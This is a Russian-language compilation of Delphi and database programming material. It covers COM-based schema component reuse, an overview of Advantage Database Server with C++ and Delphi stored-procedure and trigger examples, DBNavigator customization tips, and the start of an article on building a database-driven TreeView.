Улучшенное повторное использование компонентов схемы БД. Возможность сборки БД из повторно используемых компонентов

Эффективное повторное использование кода является розовой мечтой разработчиков ПО. Однако мечта эта на практике зачастую оказывается на удивление тяжело достижимой. Не вдаваясь в анализ причин, приведем некоторые конкретные факты:
Попытки увеличить долю повторного использования кода путем организации репозиториев повторно используемого кода себя не оправдали и уже давно не популярны.
Современное программное обеспечение в среднем на 70% состоит из повторно используемых компонентов, приобретенных у третьих фирм. Такие компоненты используют какую-либо относительно универсальную технологию, вроде ActiveX, и поставляются в виде исполняемых модулей, без исходных текстов.
Наиболее популярные СП, такие как Delphi и VisualBasic, используют либо ActiveX, либо аналогичные технологии, либо и то и другое вместе.
Очевидно, что на сегодняшний день путь к успешному повторному использованию кода лежит через задействование технологии, обеспечивающей унифицированный способ взаимодействия с повторно используемыми программными компонентами. ObjectHaven в связке с Automation и стандартизованным набором COM-интерфейсов предоставляет как раз такую технологию в приложении к базам данных. ObjectHaven позволяет сформировать целый рынок повторно используемых компонентов БД, ориентированных на применение в наиболее популярных предметных областях, и распространяемых в двоичном виде, без исходных текстов.

Возможность контролировать сложность базы данных

Использование СОМ предполагает проектирование схемы БД в форме набора объектов, реализующих четко определенные интерфейсы. Это позволяет абстрагироваться от деталей реализации отдельных компонентов схемы БД, сосредоточившись на проектировании интерфейсов, в результате чего схема БД становится более простой для понимания. Сокрытие реализации отдельных компонентов схемы БД обеспечивает большой "запас прочности" схемы БД относительно увеличения ее сложности, так как интерфейсы в гораздо меньшей степени подвержены изменениям, чем объекты, их реализующие. Таким образом, СУБД ObjectHaven обеспечивает стабильную основу для разработки сложных баз данных. Соблюдение в ObjectHaven принципа отделения интерфейса от реализации позволяет локализовать сложность модели данных в отдельных компонентах, благодаря чему появляется возможность постепенного, контролируемого наращивания сложности БД путем эволюционного развития ее отдельных компонентов.


Advantage Database Server

1) Краткое описание - Advantage Database Server(ADS) - разработка фирмы Extended System, Inc (http://www.AdvantageDatabase.com). Развивается с начала 90-x годов. Первоначально была известен как Advantage X-Base Server и предназначался для работы в клиент-серверном режиме с таблицами формата dbf(Clipper, Foxpro) и базировался до 4 версии только на Novell платформе. К отличительной особенностью является использование ISAМ(indexed sequentil access method) - индексный последовательный метод доступа. С версии 5.0 появилась версия для NT и добавлен собственный форма таблиц, а с версии 5.5 поддерживается SQL. В настоящее время выпущена версия с номером 7.0

2) возможности -
Небольшое отступление: ADS с таблицами работает в двух режимах Free Tables и Database. Режим Free Tables предполагает работу с таблицами как с отдельными несвязанными с друг другом структурными единицами. При режиме Database группа таблиц рассматривается как единая база данных со всеми вытекающими последствиями. Открыть таблицу, входящую в Database как самостоятельную таблицу в режиме Free Tables невозможно.

- количество баз данных на сервере - Так как физически базы данных представляют набор файлов: таблицы, индексы, словари, то ограничения определяются только возможностями операционной системы и мощностью компьютера. Имеется оганичения на количество одновременно открытых таблиц на одно соединение(не путать с пользователем) - не более 250. Но пользователь может иметь неограниченное количество соединений.

- размер таблиц - Так как в ADS могут использоваться одновременно два типа таблиц, то дается характеристики отдельно на каждую
Формат DBF
Максимальный количество индексов в индексном файле 50
Максимальное число открытых индексных файлов на таблицу 15
Максимальный размер файла (таблица, индексный файл, memo файл) 4 Гб
Максимальное число записей 2 миллиарда
Максимальная длина записи 65530 bytes
Максимальная длина имени поля 10 characters
Максимальная длина имени итдекса 10 characters
Максимальный размер binary/image/BLOB поля 4 Гб
Максимальное число полей на таблицу 2035

Формат ADT
Максимальный количество индексов в индексном файле 50
Максимальное число открытых индексных файлов на таблицу 15
Максимальный размер таблицы
Windows 95/98/ME 4 gigabytes (4,294,967,296 bytes)
Windows NT/2000 with NTFS 16 exabytes (18,446,744,073,709,551,616 bytes)
Windows NT/2000 with FAT32 4 gigabytes (4,294,967,296 bytes)
NetWare 4 gigabytes (4,294,967,296 bytes)
Linux pre-2.1.2 - 11 glibc and pre-2.4 kernel 2 gigabytes (2,147,483,648 bytes)
Linux glibc 2.1.2 - 11+ with kernel 2.4+ 8 exabytes (9,223,372,036,854,775,807 bytes)
Максимальный размер индексного файлa
Windows 95/98/ME 4 gigabytes (4,294,967,296 bytes)
Windows NT/2000 with NTFS 4 gigabytes * (Index Page Size) : Max 35 terabytes
Windows NT/2000 with FAT32 4 gigabytes (4,294,967,296 bytes)
NetWare 4 gigabytes (4,294,967,296 bytes)
Linux pre-2.1.2 - 11 glibc and pre-2.4 kernel 2 gigabytes (2,147,483,648 bytes)
Linux glibc 2.1.2 - 11+ with kernel 2.4+ 4 gigabytes * (Index Page Size) : Max 35 terabytes
Максимальный размер memo файла
Windows 95/98/ME 4 gigabytes (4,294,967,296 bytes)
Windows NT/2000 with NTFS 4 gigabytes * (Memo Page Size) : Max 4 terabytes
Windows NT/2000 with FAT32 4 gigabytes (4,294,967,296 bytes)
NetWare 4 gigabytes (4,294,967,296 bytes)
Linux pre-2.1.2 - 11 glibc and pre-2.4 kernel 2 gigabytes (2,147,483,648 bytes)
Linux glibc 2.1.2 - 11+ with kernel 2.4+ 4 gigabytes * (Memo Page Size) : Max 4 terabytes
Максимальное число записей 2 миллиард .
Максимальная длина записи 65530 bytes
Максимальная длина имени поля 128 characters
Максимальная длина имени индекса 128 characters
Максимальный размер binary/image/BLOB поля 4 Гб

Максимальное число полей в таблице зависит от длинны имени полей , и может быть вычислено: 65135 / ( 10 + AverageFieldNameLength ).
Например, если средняя длина имен полей 10, то максимальное число полей - 3256

Для обоих форматов
Максимальное число транзакций ограничено размером памяти
Максимальное число соеединений ограничено размером памяти
Максимальное число одновременно открытых файлов ограничено размером памяти
Максимальное число блокировок ограничено размером памяти

- количество пользователей и количество одновременных подключений
количество одновременно подключенных пользователей ограничено лицензионными соглашениями, количество соединений на пользователя неограничено.

наличие View -возможность создания View предусмотрена в режиме работы Database. Хранится как объект справочника (dictionary). Могут быть созданы с помощью SQL-выражение CREATE VIEW или с помощью соотвествующего диалогового окна в архитекторе (ARC32)

наличие SP, языка программирования - собственного языка нет, роль SP играют Advantage Extended Procedure (AEP), которые представляют собой либо dll или COM-библиотеки (для Windows), или shared object (для Linux). Соответственно написать их можно практически на чем угодно : Delphi/C++Builder, VB, VC++ и т.д. Для обращения в таблицам используется либо API, либо компоненты (Delphi/C++Builder). Регистрация процедур производится посредством SQL-выражения CREATE PROCEDURE , либо с помощью соотвествующего диалогового окна в архитекторе (ARC32)
Пример AEP

////////////////////////////////////////////////////////////////////////////
// ## Назначение: Точка входа хранимой процедуры "Обновление справочника серий"
// ## Описание:
// ## Аргументы:  Параметры  хранимой процедуры:
// ##             Входные: Нет
// ##             Выходные: Таблица со списком новых серий
// ##             ID integer      - идентификатор записи,
// ##             Grup char(5)    - группа,
// ##             NNum char(13)   - номенклатурный номер,
// ##             Name char(34)   - наименование сертификата,
// ##             Series char(25) - серия
// ## Возврат:    Код ошибки
// ## Исключения: нет
extern "C" UNSIGNED32 __declspec(dllexport) WINAPI RefreshSeries
(
   UNSIGNED32   a_ConnectionID, // Идентификатор сессии
   UNSIGNED8   *a_UserName,     // Имя пользователя (логин)
   UNSIGNED8   *a_Password,     // Пароль пользователя
   UNSIGNED8   *a_ProcName,     // Имя хранимой процедуры(не пользоваться:
                               // будет исключено в следующей версии
   UNSIGNED32   a_RecNum,       // Аргумент зарезервирован для тригера
   UNSIGNED8   *a_InpName,      // Имя таблицы входных аргументов хранимой процедуры
   UNSIGNED8   *a_OutName       // Имя таблицы  выходных аргументов хранимой процедуры
                               // или возращаемого курсора данных
)
{
   try
   {
       TModuleAEP* ModuleAEP = (TModuleAEP*)gAEPSessionMgr->GetDM(a_ConnectionID);
       ModuleAEP->ParamsReconnect((char*)a_InpName, (char*)a_OutName);
       ModuleAEP->RefreshSeries();
   }
   catch( EADSDatabaseError *E )
   {
       return E->ACEErrorCode;
   }
   return AE_SUCCESS;
}

void __fastcall TCertModuleAEP::RefreshSeries(void)
{
try
{
   FreeSeries_->Active = true;
   Series_->Active = true;
   NewSeries_->Active = true;
   try
   {
       Series_->Last();
       int LastID = Series_ID->AsInteger;
       NewSeries_->AdsCopyTableContents(Series_);
       Series_->Filter = Format("ID > %d",ARRAYOFCONST((LastID)));
       Series_->Filtered = true;
       Series_->AdsCopyTableContents(FreeSeries_);
       Series_->AdsCopyTableContents(Output_);
   }
   __finally
   {
       Series_->Filtered = false;
       Series_->Active = false;
       FreeSeries_->Active = false;
       NewSeries_->Active = false;
   }
}
catch(Exception& Exc)
{
   Output_->Append();
   Output_->FieldByName("Name")->AsString = Exc.Message;
   Output_->Post();
}
}

- наличие триггеров - имееются с в режиме Database, начиная с версии 7. Поддерживаются три вида триггеров BEFORE, AFTER и INSTEAD OF. Триггера могут быть написаны либо также как AEP, в виде dll, COM, либо они могут предствалять из себя SQL-выражение

CREATE TRIGGER mytrigger ON orders AFTER DELETE BEGIN INSERT INTO backup_orders SELECT * FROM __old; END

CREATE TRIGGER mytrigger ON orders INSTEAD OF UPDATE
FUNCTION MyFunction IN ASSEMBLY MyAssembly.MyClass PRIORITY 2

Пример кода тригера INSTEAD OF INSERT, который заполняет поле при вставке новой записи значением GUID

library AutoGUID;
{$INCLUDE versions.inc}
{$IFDEF ADSDELPHI7_OR_NEWER}
  {$WARN UNSAFE_TYPE OFF}
  {$WARN UNSAFE_CODE OFF}
  {$WARN UNSAFE_CAST OFF}
{$ENDIF}
uses
 SysUtils,
 Classes,
 ace,
 adscnnct,
 adsset,
 adsdata,
 adstable,
 COMobj;
// Utility Function Prototype
procedure SetError ( conn : TAdsConnection; code : UNSIGNED32; err  : string ); forward;
// Sample Advantage Trigger function. If you change the name of this
// function, remember to also change the name in the exports list at the bottom
// of this file.
function InsertGUID
(
 ulConnectionID : UNSIGNED32; // (I) Unique ID identifying the user causing this trig
 hConnection    : ADSHANDLE;  // (I) Active ACE connection handle user can perform
                              //     operations on
 pcTriggerName  : PChar;      // (I) Name of the trigger object in the dictionary
 pcTableName    : PChar;      // (I) Name of the base table that caused the trigger
 ulEventType    : UNSIGNED32; // (I) Flag with event type (insert, update, etc.)
 ulTriggerType  : UNSIGNED32; // (I) Flag with trigger type (before, after, etc.)
 ulRecNo        : UNSIGNED32  // (I) Record number of the record being modified
) : UNSIGNED32;
{$IFDEF WIN32}stdcall;{$ENDIF}{$IFDEF LINUX}cdecl;{$ENDIF} // Do not change the prototype.
const
 // In this case, the first field is the Primary Key field
 //   in the base table that needs the AutoGUID value.
 // This constant definition is necessary because
 //   triggers don't take parameters.
 iGUIDfieldNum           : Integer = 0;
var
 oConn                   : TAdsConnection;
 oNewTable, oSourceTable : TAdsTable;
 iFieldNum               : Integer;
begin
 // Result is currently reserved and not used. Always return zero.
 Result := 0;
 // Allocate a connection object using an active connection, no need to open it after this.
 oConn := TAdsConnection.CreateWithHandle( nil, hConnection );
 try
   try
     oConn.Name := 'conn';
     oNewTable := TAdsTable.Create( nil );
     oNewTable.DatabaseName := oConn.Name;
     oNewTable.TableName := '__new';
     oNewTable.Open;
     oSourceTable := TAdsTable.Create( nil );
     oSourceTable.DatabaseName := oConn.Name;
     oSourceTable.TableName := pcTableName;
     oSourceTable.Open;
     oSourceTable.Insert;
     //  Copy all new field values over without posting.
     for iFieldNum := 0 to Pred(oSourceTable.FieldCount) do
       if not oNewTable.Fields[iFieldNum].IsNull then
           oSourceTable.Fields[iFieldNum].Value :=
           oNewTable.Fields[iFieldNum].Value
          else
           oSourceTable.Fields[iFieldNum].Clear;
     //  Now set the GUID field value to a GUID value.
     oSourceTable.Fields[iGUIDfieldNum].AsString := CreateClassID;
     oSourceTable.Post;
   except
     on E : EADSDatabaseError do
       SetError( oConn, E.ACEErrorCode, E.message );
     on E : Exception do
       SetError( oConn, 0, E.message );
   end;
 finally
   FreeAndNil(oSourceTable);
   FreeAndNil(oNewTable);
   FreeAndNil(oConn);
 end;
end;
// Utility function to return an error from a trigger.
procedure SetError
(
 conn : TAdsConnection;
 code : UNSIGNED32;
 err  : string
);
begin
 // Errors can be returned by placing a row into the __error table.
 conn.Execute( 'INSERT INTO __error VALUES( ' + IntToStr( code ) +
               ', ' + QuotedStr( err ) + ' )' );
end;
exports
 InsertGUID;
begin
 // Because this DLL is used by a multi-threaded application (the Advantage
 // server), we must set the Delphi IsMultiThread global variable to TRUE.
 IsMultiThread := TRUE;
end.

- репликация и синхронизация, перенос данных, средства backup - встроенных механизмов в настоящее время нет, их появление запланировано в версии 8, но возможно использовании внешнего Advantage Replication, выполненного на основе сервера приложений этой же фирмы - OneBridge Mobile Groupware (ранее известного как XTNDConnect Server). Кстати этот репликатор может применяться как между серверам различных(других) фирм, так и для синхронизации баз данных между клиентом и сервером в режиме работы briefcase. Синхронизация может проходить по определенному алгоритму с заданием полей, приоритетов и правил разрешений конфликтов. Кроме того, по-скольку базы данных представляют собой набор файлов возможно использование стандартных файловых backup-систем.

- поддержка кластеров - в настоящее время,нет. Запланировано в версии 7.1

- возможность взаимодействия между серверами, включая сервера других типов. - Непосредствено в одном запросе обратиться к двум таблицам из разных баз данных, расположенных физически на разных серверах нельзя. Такую операцию можно сделать если
1). базы данных расположены на одном сервере
2). запрос направлен к локальному серверу и нужно к еще подключить таблицу(ы) от удаленного сервера.

В этом случае используется понятие Link, при создании которого указываеися алиас, путь к справочнику БД, имя пользователя и пароль, под которым происходит подключение. Если имя пользователя и пароль не задан, то подключение будет производится под тем же именем, под которым пользователь подключен к текущей

-- в примерах backup и Link1 - линки к другим базам данных
UPDATE Customers SET address = ( SELECT address FROM backup.Customers b WHERE b.cust_id = Customers.cust_id )

CREATE VIEW Link1_T1 AS SELECT cust_name FROM Link1.customers WHERE credit_limit > 50000

Кроме того, так как хранимые процедуры - это dll, COM или shared object, то посредством них можно обеспечить доступ к любым СУБД, например: подключиться к MS SQL, получить данные, вставить эти данные в набор, заполнить поля дополнительными данными из таблицы ADS, и этот набор вернуть в качестве результата работы AEP.
Можно, например, организовать цепочку вызовов процедур на удаленных серверах, например :
Клиент - > AEP(Server1)
AEP(Server1)->AEP(Server2) ->AEP(Server4)->...
AEP(SErver1)->AEP(Server4)
и т.д

- поддерживаемые типы данных -

Формат DBF

Character -- фиксированая строка(
Numeric -- число с фиксированной запятой.
Data -- дата(CCYYMMDD).
Logical -- логическое значение ('0', '1', 'T', 't', 'Y', and 'y').
Memo -- мемо-поле

Формат ADT

Character -- фиксированная строка
Date -- Дата.
Logical -- логическое значение
Memo -- memo-поле для строковых данных
Double -- число с плавающей запятой
Integer -- целое
Image -- мемополе содержащее графические данные
Binary -- мемополе для бинарных
ShortInteger -- короткое целое (-32,767 to 32,766)
Time -- время.
TimeStamp -- Дата-время
AutoIncrement -- автоинкрементное поле (0 to 4,294,967,296)
Raw -- типонезависимое поле фиксированоой длины (1 to 65530)
CurDouble -- поле для денежных расчетов (хранится два знака после запятой)
Money -- храниться четыре знака после запятой

поддерживаемые конструкции SQL-
ALTER TABLE
BEGIN TRANSACTION
COMMIT WORK
CREATE DATABASE - создание базы данных
CREATE INDEX
CREATE PROCEDURE
CREATE TABLE
CREATE TRIGGER
CREATE VIEW
DELETE
DROP INDEX
DROP PROCEDURE
DROP TABLE
DROP TRIGGER
DROP VIEW
EXECUTE PROCEDURE
GRANT -- давать права пользователю(группе пользователей) на выполнение операции на таблице(столбце)
QUOTE
// разрешается sales_group просматривать поле accounts таблицы customers GRANT SELECT ON customers.accounts TO sales_group //разрешается user1 вставке записи вводить значение для поля accounts таблицы customers GRANT INSERT( accounts ) ON customers TO user1 //для managers разрешаются все действия над таблицей customers GRANT ALL ON customers TO managers

GRANT быть применен к таблице(столбцу), view, процедуре линку со следующими ключами (в зависимости от типа объекта и типа операции)
SELECT, SELECT( columnname )
INSERT, INSERT( columnname )
UPDATE, UPDATE( columnname )
ACCESS
EXECUTE
INHERIT
ALL

INSERT
REVOKE -- запрещать пользователю(группе пользователей) выполнение операции (см GRANT)
ROLLBACK WORK
SELECT
SET TRANSACTION
UPDATE

Кроме того имеется возможность получить с помощью SQL - выражения всю информацию по метаданным используюя системные псевдо таблицы
Например, получение всех объектов из справочника БД

QUOTE
SELECT * FROM system.objects

system.dictinary - информация об базе данных :версия (не путать с версией сервера, имеется в виду именно версия БД), путь, ключ шифрования(если применено и только если запршивает админ), разрешение работы через интернет, прав доступа и .тд.
system.objects - все объекты
system.tables - таблицы
system.columns - столбцы
system.users
system.usersgroup
system.usergroupmembers
system.indexfiles
system.indexes
system.permission
system.relation -
system.views
system.storedprocedures
system.links
system.triggers

- поддержка транзакций - есть

- системы репортинга, в том числе для Web - возможно использование других репортинговых систем: Crystal Report, Fast Report, Quick Report, Rave и д.р. Собственного репортинга ориентированного на Web нет.

- наличие собственного агента для выполнения заданий по расписанию - нет \

3) Защита данных, шифрование - Возможно как шифрование отдельно взятых таблиц, так и шифрование базы данных в целом(вместе с метаданными). Используется профессиональный 160-битный алгоритм шифрования.

4) простота использования - Сам сервер после установки в администрировании не нужается. Адинистрирование необходимо только для текущего ведения(создание, реорганизация, модификация) баз данных и таблиц
- наличие встроенных средств администрирования с GUI интерфейсом - Имеется менеджер ARC32, реализующего все функции для создания баз данных и манипуляции с ними.
- возможность удалённого и Web администрирования - так как сервер имеет встроенный инернет-сервис(до шестой версии это был отдельный продукт) , то имеется возможность подключиться к серверу через интернет(например с помпощь того же ARC32) и выполнить все операции по реорганизации БД удаленно

- сложность перевода проекта написанного под другую базу данных на рассматриваемую - В зависимости от первоначальной БЗ, стпень переноса может быть разной. Программы, написанные на Clipper могут быть перенесены достаточно легко. Для того, что бы Clipper приложение интегрировать с Advantage необходимо его перелинковать с новым RDD. Для линковки (сборки) нужны OBJ модули. Если потерян только код, а OBJ сохранились, то проблем нет. А вот если нет OBJ, то единственное, что можно сделать - попытаться программой типа DECLIP восстановить исходные коды или подменить драйвер. Эта утилита распространяется бесплатно, она есть на многих BBS и в интернете. Имеется и также возможность импортирования таблиц (встроена в ACR32) в следующих вариантах подключения
-- ADO Data Source
-- Paradox, dBase, Advantage Compatible
-- BDE
-- PervasiveSQL(Btrieve)
-- Text file
Имеется также методика конвертирования приложений, использующих TTablе:
Converting Delphi TTable Instances to Advantage TAdsTable Instances

- сложность в установке и настройке - установка автоматическая, проблем не возникает
- насколько сложно администрирование сервера - администрирование практически не требуется

- наличие утилит для автоматизации операций для работы в командной строке - имеется в менеджере ARC32

- наличие собственных утилит для отладки запросов (выполнение SQL, построение плана выполнения кверей, профайлер и т.п.), утилиты для слежения за производительностью сервера. - ARC32

5) платформы
- на которых может работать сервер - - Npvell, Windows 9X, WinNT/2000, Linux
- на которых может работать клиент - MS DOS, Windows 9X, WinNT/2000, Linux

6) версии продуктов, краткая характеристика отличий
Текущая весия 7.0, техническая поддержка оказывается для версий 6.xx
Версия 5.0 - поддержка сервера на платформы WinNT(ранее был только Novell)
Версия 5.5 - поддержка SQL
Версия 5.7 - поддержка сервера на плптформе Win9x, поддержка транзакций
Версия 6.0 - поддержка сервера и клиента на платформе Linux, работа в режиме Database, хранимые процедуры, поддерка ссылочной целостности.
Версия 7.0 - триггера

7) способы доступа
Advantage Client Engine API
Advantage .NET Data Provider
Advantage ODBC Driver (version 3)
Advantage JDBC Driver (Type 4)
Advantage OLE DB Provider
Advantage Perl DBI Driver
Advantage PHP Extension
Advantage CA-Clipper RDD
Advantage CA-Visual Objects RDDs
Набор компонентов Advantage TDataSet Descendant for Delphi/Kylix/C++Builder

- языки программирования - Clipper, Delphi/C++Builder/Kylix, Microsoft Visual Basic, Microsoft Visual C/C++, Java, Perl , Php, CA-Visual Objects

Автор Vyacheslav
Взято с Vingrad.ru http://forum.vingrad.ru


Работа с визуальными компонентами

Cодержание раздела:

Как выделить кнопку в DBNavigator программно?
Подмена данных в визуальных DB компонентах
Как сменить картинки на TDBNavigator? New!
Нажать кнопку DBNavigator програмно New!
Выключение кнопок в DBNavigator New!
Свойства кнопок DBNavigator New!
Настройки всплывающих подсказок в DBNavigator New!
DBNavigator без иконок New!
DBTreeView своими руками New!

DBGrid
· Как изменить число фиксированных колонок в TDbGrid?
· Как остановить автодобавление из DBGrid?
· Как показать содержимое Memo-поля в DBGrid?
· DBGrid компонент c разными цветами удалённые, обновлённые и добавленные записи
· Как отобразить выбранную строку DBGrid различными цветами?
· Как узнать значения, которые пользователь вводит в TDBGrid?
· Как защитить запись в DBGrid от удаления?
· Как изменить шрифт определённой строки в DBGrid?
· Прокрутка таблицы - хитрость PeekMessage
· Печать содержимого DBGrid через QuickReport
· Как удалить вертикальную полосу прокрутки (скроллбар) из DBGrid?
· Сортировка DBGrid по клику на колонке?
· Как показать DbGrid в режиме disabled?
· Как экспортировать содержимое DBGrid в Excel или ClipBoard?
· Как получить содержимое поля[1,1] DBGrid?
· Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?
· Как заблокировать функцию вставки записи в компоненте TDBGrid?

См. также статьи в других разделах:
Как создать поле Lookup во время выполнения приложения?


Как выделить кнопку в DBNavigator программно?

type TFake=class(TDBNavigator);

procedure TForm1.Button1Click(Sender: TObject);
begin
  TFake(DBNavigator1).buttons[nbNext].Perform(WM_RBUTTONDOWN,0,0);
  TFake(DBNavigator1).buttons[nbNext].Perform(WM_RBUTTONUP,0,0);
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Нажать кнопку DBNavigator програмно

DBNavigator1.BtnClick(nbInsert);

Взято с http://delphiworld.narod.ru


Как сменить картинки на TDBNavigator?

procedure ChangeDBNavImage(DBnav: TDbNavigator);
var
  i: Integer;
  tempGlyph: TBitmap;
  ExePath: string;
begin
  ExePath := ExtractFilePath(Application.ExeName);
  tempGlyph := TBitmap.Create;
  try
    with DBNav do
    begin
      for i := 0 to ControlCount - 1 do
      begin
        if Controls[i].ClassName = 'TNavButton' then
        begin
          case TNavButton(Controls[i]).Index of
            nbFirst: tempGlyph.LoadFromFile(ExePath + 'first.bmp');
            nbPrior: tempGlyph.LoadFromFile(ExePath + 'previous.bmp');
            nbNext: tempGlyph.LoadFromFile(ExePath + 'Next.bmp');
            nbLast: tempGlyph.LoadFromFile(ExePath + 'Last.bmp');
            nbInsert: tempGlyph.LoadFromFile(ExePath + 'Insert.bmp');
            nbDelete: tempGlyph.LoadFromFile(ExePath + 'Delete.bmp');
            nbEdit: tempGlyph.LoadFromFile(ExePath + 'Edit.bmp');
            nbPost: tempGlyph.LoadFromFile(ExePath + 'Post.bmp');
            nbCancel: tempGlyph.LoadFromFile(ExePath + 'Cancel.bmp');
            nbRefresh: tempGlyph.LoadFromFile(ExePath + 'Refresh.bmp');
          end;
          TNavButton(Controls[i]).Glyph := tempGlyph;
        end;
      end;
    end;
  finally
    tempGlyph.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ChangeDBNavImage(DBNavigator1);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Выключение кнопок в DBNavigator

{ Расширение DBNavigator: позволяет разработчику включать и выключать
отдельные кнопки через методы EnableButton и DisableButton }

unit GNav;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, ExtCtrls, DBCtrls;

type
  TMyNavigator = class(TDBNavigator)
  public
    procedure EnableButton(Btn: TNavigateBtn);
    procedure DisableButton(Btn: TNavigateBtn);
  end;

procedure Register;

implementation

procedure TMyNavigator.EnableButton(Btn: TNavigateBtn);
begin
  Buttons[Btn].Enabled := True;
end;

procedure TMyNavigator.DisableButton(Btn: TNavigateBtn);
begin
  Buttons[Btn].Enabled := False;
end;

procedure Register;
begin
  RegisterComponents('Samples', [TMyNavigator]);
end;

end.

Взято с http://delphiworld.narod.ru


Свойства кнопок DBNavigator

Как можно узнать значения свойств кнопок компонента DBNavigator (enabled/disabled или видимая/невидимая)?

Для определения видимости вы можете использовать свойство VisibleButtons. Например:

if nbRefresh in DBNavigator1.VisibleButtons then
  ShowMessage('Кнопка Refresh видимая') ;

Для того, чтобы узнать, активизирована (enabled/disabled) кнопка или нет:

{Вместо nbFirst вы можете определить другой
член TNavigateBtn (например, nbFirst, nbPrior,
nbNext, nbLast, nbInsert, nbDelete, nbEdit,
nbPost, nbCancel, nbRefresh)}

if DBNavigator1.Controls[Ord(nbFirst)].Enabled then
  ShowMessage('Кнопка First активизирована') ;

Взято с http://delphiworld.narod.ru


Подмена данных в визуальных DB компонентах

у всех TField существует свойство DisplayText которое используется всеми визуальными компонентами чувствительными к данным (DataAware), в том числе и TDBGrid'ом. Т.е. TDBGrid выводит именно это свойство. В свою очередь, значение этого свойства по умолчанию равно значению из поля БД, с учетом свойства DisplayFormat (у кого оно есть). Но это по умолчанию.
Реально-же, у всех TField есть событие OnGetText. Если оно определено для поля, то DisplayText этого поля будет возвращать то, что вернет OnGetText.
Словами слишком запутанно, проще на примере:
Если поля созданы в дизайнере, то требуемому полю (например FFF) вешаем обработчик FFFOnGetText событию OnGetText.
Если-же поля создаются динамически, то соответственно вешаем обработчик динамически.
Пример обработчика:

procedure FFFOnGetText(Sender: TField; var Text: string; DisplayText: Boolean);
begin
  if DisplayText then Text := AnsiUpperCase(Text);
end;

С таким обработчиком, в поле FFF DBGrid'а, все символы будут заглавными, вне зависимости какие они в БД.
Естественно в БД они не меняются. При этом возникает интересный эффект. Если вы начнете редактировать поле FFF, то оно приобретет вид такой как в БД , до тех пор пока Вы не закончите редактирование.
Естественно это работает и для TDBEdit и пр.

Этот способ удобно применять когда нужно выполнить только текстовое преобразование для отображения значения поля.

Автор: Петрович

Взято из http://forum.sources.ru


Настройки всплывающих подсказок в DBNavigator

procedure TForm1.Button1Click(Sender: TObject);
var
  ix: integer;
begin
  with DBNavigator1 do
    for ix := 0 to ControlCount - 1 do
      if Controls[ix] is TNavButton then
        with Controls[ix] as TNavButton do
          case index of
            nbFirst: Hint := 'Подсказка для кнопки First';
            nbPrior: Hint := 'Подсказка для кнопки Prior';
            nbNext: Hint := 'Подсказка для кнопки Next';
            nbLast: Hint := '';
            {......}
          end;
end;

Взято с http://delphiworld.narod.ru


DBNavigator без иконок

var
  c: shortint;
  s: string;
begin
  s := 'A';
  with DBNavigator1 do
    for c := 0 to ControlCount - 1 do
      if Controls[c] is TNavButton then
        with TNavButton(Controls[c]) do
        begin
          ListBox1.Items.Add(Name);
          Glyph := nil;
          Caption := s;
          Inc(s[1]);
        end;
end;


DBTreeView своими руками

Автор: Елена Филиппова

Введение

В статье речь пойдет об отображении данных, хранящихся в БД и имеющих иерархическую (древовидную) структуру. Визуальное представление таких данных требует соответствующего инструмента. Существует немало компонент, которые позволяют представлять данные в виде дерева — для краткости будем называть их все DB TreeView. Компоненты эти довольно удобны, но, как правило, "заточены" под определенные задачи и каждый "шаг в сторону" в структуре данных заставляет многих пускаться в поиски. И на Круглом Столе появляются вопросы: "помогите найти компонент DB TreeView, который позволяет делать еще и ..." и так далее.

А ведь в Delphi существует стандартный компонент для представления древовидных данных, это знакомый всем TTreeView, его возможностей хватает с лихвой практически для всех задач по отображению деревьев. Сделать из TreeView самый настоящий DB TreeView, да еще полностью контролировать его развитие, более перспективный путь, нежели каждый раз искать новый чужой компонент.

Весь этот материал основан на моем личном опыте и, естественно, не обязательно является самым оптимальным вариантом. Это частное мнение, которым я просто хочу поделиться.

Рассмотрим два принципиально разных случая:

Дерево подразделений
Данные представляют собой классическую древовидную структуру. Глубина вложенности дерева не ограничена, заранее не известна и не одинакова для разных ветвей. Дерево может не иметь общего корневого узла, то есть распадаться на несколько деревьев.;
Дерево аналитических признаков
Реально данные не являются иерархическими, но могут быть представлены в таком виде. Глубина вложенности дерева одинакова для всех его веток и фиксирована в данном примере. Правило построения иерархии может меняться в режиме run-time.
Отличаются эти примеры стуктурой данных и, соответственно, способом формирования дерева.

Тем не менее сущестуют общие правила для генерации дерева. Во-первых, я исхожу из предположения, что все дерево сразу с большой степенью вероятности не понадобится пользователю. Более того, сам процесс формирования TTreeView довольно длительный и занимает ощутимое время, особенно если работать с большим объемом БД.

Гораздо правильнее строить отдельные ветки дерева динамически, только в тот момент, когда они наверняка понадобятся.

То есть, в самый начальный момент необходимо сформировать только самый верхний уровень дерева. Затем, по мере требования, можно достраивать очередную ветвь.

Какой же момент можно считать моментом требования? В принципе есть два равнозначных варианта и отличаются они только внешним видом.

Первый: по двойному клику на текущей ветви дерева проверять, была ли она достроена, если нет то формировать ее и генерировать событие OnExpanding, раскрывая новую ветвь.
Второй: при попытке "раскрыть" ветку проводить аналогичные действия.
Основное отличие этих подходов: в первом случае пользователю необходимо сделать явно лишнее и не очень естественное для дерева движение , то есть двойной клик. А во втором случае мы должны обеспечить возможность раскрытия для каждой ветки дерева, ведь если у ветви нет значка [+] , то и попытаться раскрыть ее будет невозможно. А значит для всех новых, свеже сформированных ветвей, принудительно нужно обеспечить существования фиктивной дочерней ветви.

Можете сами выбрать, что Вам удобнее, я использую второй вариант.

На сервере http://ib.demo.ru/ была опубликована статья Кузьменко Дмитрия Древовидные (иерархические) структуры данных в реляционных базах данных , часть которой посвящена теме визуального представления древовидных данных. В этой статье предлагалось хранить в таблице дополнительное поле с количеством дочерних записей для каждой ветви именно для того, чтобы иметь возможность принимать решение рисовать или не рисовать знак [+] возле текущей ветки дерева. То есть на ходу определять, имеет ли шанс эта ветка быть раскрытой.

Следовательно, только для процесса визуализации требуется изменять структуру данных, добавлять триггеры для сохранения целостности дополнительной информации.

Каждый способ имеет свои достоинства и недостатки, но мне кажется несколько неоправданным такой подход, когда структура таблиц зависит от способа их отображаения. В примерах, которые иллюстрируют материал этой статьи применяется использование фиктивных дочерних ветвей для обеспечения появления у каждой ветви значка [+].

Примечание:

Такой вопрос, как способы представления иерархических данных в БД, не является предметом данной статьи.

